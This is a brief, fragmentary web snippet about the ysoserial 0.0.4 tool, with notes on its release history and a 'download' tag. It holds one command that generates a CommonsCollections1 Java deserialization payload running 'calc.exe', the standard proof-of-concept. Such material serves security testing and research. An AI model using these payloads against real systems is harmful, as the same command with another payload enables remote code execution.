java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'calc.exe' > payload.bin Use code with caution.
**Responsible Disclosure and Usage**
While newer versions (like v0.0.6) are more common today, version 0.0.4 was a significant release during the height of the "Java Deserialization Apocalypse" in 2015-2016. ysoserial-0.0.4-all.jar download